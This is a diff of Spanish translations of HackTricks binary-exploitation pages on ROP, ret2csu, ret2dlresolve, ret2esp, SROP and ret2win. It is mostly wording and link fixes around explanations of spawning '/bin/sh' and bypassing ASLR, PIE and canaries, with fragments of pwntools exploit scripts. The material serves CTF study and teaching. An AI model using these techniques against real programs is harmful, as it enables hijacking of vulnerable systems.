-- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
+- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
 
 #### **Encontrar Gadgets**
 
@@ -131,7 +131,7 @@ En este ejemplo:
 
 - Utilizamos el gadget **`pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**.
 - Saltamos directamente a **`system()`** después de establecer **`RDI`**, con la dirección de **system()** en la cadena.
-- **`ret_gadget`** se utiliza para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones.
+- Se utiliza **`ret_gadget`** para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones.
 
 ### Alineación de la Pila
 
@@ -144,7 +144,7 @@ En este ejemplo:
 
 ## Ejemplo de cadena ROP en ARM64
 
-### **Conceptos básicos de ARM64 y convenciones de llamada**
+### **Conceptos Básicos de ARM64 y Convenciones de Llamada**
 
 Consulta la siguiente página para esta información:
 
@@ -152,10 +152,10 @@ Consulta la siguiente página para esta información:
 ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
 {{#endref}}
 
-## Protecciones contra ROP
+## Protecciones Contra ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): En caso de un BOF, es necesario eludir el almacenamiento del canario de pila para sobrescribir los punteros de retorno y abusar de una cadena ROP.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.
+- [**Canarios de Pila**](../common-binary-protections-and-bypasses/stack-canaries/index.html): En caso de un BOF, es necesario eludir el canario de pila para sobrescribir punteros de retorno y abusar de una cadena ROP.
 - **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP.
 
 ## Técnicas basadas en ROP

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -6,7 +6,7 @@
 
 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica
 
-**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
+**ret2csu** es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
 
 Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
 
@@ -35,7 +35,7 @@ mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir algunas **condiciones** para alcanzarlo:
+3. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -111,11 +111,11 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
+> Tenga en cuenta que el exploit anterior no está destinado a hacer un **`RCE`**, solo está destinado a llamar a una función llamada **`win`** (tomando la dirección de `win` de stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
 
 ### Eludir la llamada y alcanzar ret
 
-El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **eludiendo las comparaciones y alcanzando el `ret`** después de la llamada:
+El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, **está eludiendo las comparaciones y alcanzando el `ret`** después de la llamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -165,8 +165,8 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### ¿Por Qué No Usar libc Directamente?
+### ¿Por qué no usar libc directamente?
 
-Usualmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
+Normalmente, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md

@@ -4,16 +4,16 @@
 
 ## Información Básica
 
-Como se explicó en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**.
+Como se explica en la página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) y [**Relro**](../common-binary-protections-and-bypasses/relro.md), los binarios sin Full Relro resolverán símbolos (como direcciones a bibliotecas externas) la primera vez que se utilizan. Esta resolución ocurre llamando a la función **`_dl_runtime_resolve`**.
 
 La función **`_dl_runtime_resolve`** toma del stack referencias a algunas estructuras que necesita para **resolver** el símbolo especificado.
 
 Por lo tanto, es posible **falsificar todas estas estructuras** para hacer que la resolución dinámica vincule el símbolo solicitado (como la función **`system`**) y lo llame con un parámetro configurado (por ejemplo, **`system('/bin/sh')`**).
 
-Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `'$'/bin/sh'`.
+Usualmente, todas estas estructuras se falsifican haciendo una **cadena ROP inicial que llama a `read`** sobre una memoria escribible, luego las **estructuras** y la cadena **`'/bin/sh'`** se pasan para que sean almacenadas por `read` en una ubicación conocida, y luego la cadena ROP continúa llamando a **`_dl_runtime_resolve`**, haciendo que **resuelva la dirección de `system`** en las estructuras falsas y **llame a esta dirección** con la dirección a `$'/bin/sh'`.
 
 > [!TIP]
-> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) y no hay formas de filtrar direcciones de libc.
+> Esta técnica es útil especialmente si no hay gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/index.html) o [SROP](srop-sigreturn-oriented-programming/index.html)) y no hay formas de filtrar direcciones de libc.
 
 Mira este video para una buena explicación sobre esta técnica en la segunda mitad del video:
 
@@ -31,7 +31,7 @@ O consulta estas páginas para una explicación paso a paso:
 1. Escribir estructuras falsas en algún lugar
 2. Establecer el primer argumento de system (`$rdi = &'/bin/sh'`)
 3. Colocar en el stack las direcciones a las estructuras para llamar a **`_dl_runtime_resolve`**
-4. **Llamar** `_dl_runtime_resolve`
+4. **Llamar** a `_dl_runtime_resolve`
 5. **`system`** será resuelto y llamado con `'/bin/sh'` como argumento
 
 De la [**documentación de pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), así es como se ve un ataque **`ret2dlresolve`**:
@@ -188,6 +188,6 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
-- 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`.
+- 32bit, sin relro, sin canary, nx, sin pie, desbordamiento de búfer pequeño básico y retorno. Para explotarlo, se utiliza el bof para llamar a `read` nuevamente con una sección `.bss` y un tamaño mayor, para almacenar allí las tablas falsas de `dlresolve` para cargar `system`, regresar a main y volver a abusar del bof inicial para llamar a dlresolve y luego `system('/bin/sh')`.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

@@ -4,9 +4,9 @@
 
 ## **Ret2esp**
 
-**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, el ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
+**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
 
-Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) activo, puede ser necesario buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) activo, es posible que se necesite buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
 
@@ -21,7 +21,7 @@ Y escribe el shellcode temprano en la pila.
 
 ### Ejemplo
 
-Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable
+Puedes encontrar un ejemplo de esta técnica en [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit final como:
 ```python
 from pwn import *
 
@@ -104,7 +104,7 @@ Los únicos que descubrí cambiarían el valor del registro donde se copió sp a
 
 ### Ret2reg
 
-Si un registro tiene una dirección interesante, es posible saltar a ella simplemente encontrando la instrucción adecuada. Podrías usar algo como:
+Si un registro tiene una dirección interesante, es posible saltar a él simplemente encontrando la instrucción adecuada. Podrías usar algo como:
 ```bash
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 ```
@@ -143,7 +143,7 @@ También es posible encontrar el gadget **`br x0`** en la función **`do_stuff`*
 
 <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
 
-Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería:
+Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **offset del desbordamiento de buffer es 80**, así que el exploit sería:
 ```python
 from pwn import *
 
@@ -159,13 +159,13 @@ p.sendline(payload)
 p.interactive()
 ```
 > [!WARNING]
-> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para volver a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\
+> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para regresar a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\
 > Con `fgets` no funciona porque **agrega un byte nulo (0x00) al final**.
 
 ## Protecciones
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
 
 ## Referencias
 

src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md

@@ -16,7 +16,7 @@ Para preparar la llamada a la **syscall** se necesita la siguiente configuració
 Así que, básicamente, se necesita escribir la cadena `/bin/sh` en algún lugar y luego realizar la `syscall` (teniendo en cuenta el padding necesario para controlar la pila). Para esto, necesitamos un gadget para escribir `/bin/sh` en un área conocida.
 
 > [!TIP]
-> Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
+> Otra syscall interesante para llamar es **`mprotect`** que permitiría a un atacante **modificar los permisos de una página en memoria**. Esto se puede combinar con [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html).
 
 ## Gadgets de Registro
 
@@ -52,7 +52,7 @@ mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
 ```
 ### Automatizar la cadena ROP
 
-El siguiente comando crea una cadena ROP completa `sys_execve` dada una binaria estática cuando hay gadgets de write-what-where e instrucciones de syscall:
+El siguiente comando crea una cadena ROP completa `sys_execve` dado un binario estático cuando hay gadgets de write-what-where e instrucciones de syscall:
 ```bash
 ROPgadget --binary vuln --ropchain
 ```
@@ -176,6 +176,6 @@ target.interactive()
 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
 - 64 bits, nx, sin PIE, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí. Para escribir en la pila se abusa de una función que realiza operaciones matemáticas.
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bits, sin PIE, nx, BF canary, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
+- 64 bits, sin PIE, nx, canario BF, escribir en alguna memoria un ROP para llamar a `execve` y saltar allí.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md

@@ -1,17 +1,17 @@
-# SROP - Programación Orientada a la Señal
+# SROP - Sigreturn-Oriented Programming
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Información Básica
 
-**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un controlador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **controlador de señales**, una función especial diseñada para tratar con señales.
+**`Sigreturn`** es una **syscall** especial que se utiliza principalmente para limpiar después de que un manejador de señales ha completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un **manejador de señales**, una función especial diseñada para tratar con señales.
 
-Después de que el controlador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del controlador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el controlador de señales.
+Después de que el manejador de señales termina, el programa necesita **reanudar su estado anterior** como si nada hubiera pasado. Aquí es donde **`sigreturn`** entra en juego. Ayuda al programa a **volver del manejador de señales** y restaura el estado del programa limpiando el marco de pila (la sección de memoria que almacena llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.
 
 La parte interesante es cómo **`sigreturn`** restaura el estado del programa: lo hace almacenando **todos los valores de los registros de la CPU en la pila.** Cuando la señal ya no está bloqueada, **`sigreturn` saca estos valores de la pila**, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.
 
 > [!CAUTION]
-> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
+> Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría cargar en la **pila** es posible para **controlar** todos los valores de los registros y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
 
 Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
 
@@ -128,13 +128,13 @@ target.interactive()
 - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
 - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
-- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
+- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/index.html) a través de una estructura **sigreturn** y leer la bandera que está dentro de la memoria del binario.
 - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
-- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
+- Binario de ensamblaje que permite **escribir en la pila** y luego llama a la syscall **`sigreturn`**. Es posible escribir en la pila un [**ret2syscall**](../rop-syscall-execv/index.html) a través de una estructura **sigreturn** (el binario tiene la cadena `/bin/sh`).
 - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
-- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
+- 64 bits, sin relro, sin canario, nx, sin pie. Desbordamiento de búfer simple abusando de la función `gets` con falta de gadgets que realiza un [**ret2syscall**](../rop-syscall-execv/index.html). La cadena ROP escribe `/bin/sh` en la `.bss` llamando a gets nuevamente, abusa de la función **`alarm`** para establecer eax en `0xf` para llamar a un **SROP** y ejecutar un shell.
 - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
-- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read en ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
+- Programa de ensamblaje de 64 bits, sin relro, sin canario, nx, sin pie. El flujo permite escribir en la pila, controlar varios registros y llamar a una syscall y luego llama a `exit`. La syscall seleccionada es un `sigreturn` que establecerá registros y moverá `eip` para llamar a una instrucción de syscall anterior y ejecutar `memprotect` para establecer el espacio binario en `rwx` y establecer el ESP en el espacio binario. Siguiendo el flujo, el programa llamará a read intro ESP nuevamente, pero en este caso ESP apuntará a la siguiente instrucción, por lo que pasar un shellcode lo escribirá como la siguiente instrucción y lo ejecutará.
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
 - SROP se utiliza para otorgar privilegios de ejecución (memprotect) al lugar donde se colocó un shellcode.
 

src/binary-exploitation/stack-overflow/README.md

@@ -4,11 +4,11 @@
 
 ## Qué es un Stack Overflow
 
-Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan verificación de límites en la entrada.
+Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Estos datos en exceso **sobrescribirán el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
 
 El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
 
-La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de la cantidad asignada para ella**, por lo tanto, siendo capaz de sobrescribir otras partes de la pila.
+La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, por lo que puede sobrescribir otras partes de la pila.
 
 Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
 
@@ -57,7 +57,7 @@ Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de
 
 ### Ret2win
 
-En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
+En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
 
 {{#ref}}
 ret2win/

src/binary-exploitation/stack-overflow/ret2win/README.md

@@ -69,8 +69,8 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
 
 ## Protecciones
 
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
 
 ## Otros ejemplos y Referencias
 
@@ -78,11 +78,11 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
 - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
 - 32 bits, sin ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
-- 64 bits con ASLR, con una filtración de la dirección binaria
+- 64 bits con ASLR, con una filtración de la dirección del binario
 - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 - 64 bits, sin ASLR
 - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, sin ASLR, desbordamiento pequeño doble, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
+- 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
 - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
@@ -94,7 +94,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
 - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 - 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win)
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-- arm64, PIE, da una filtración PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
+- arm64, PIE, da una filtración de PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
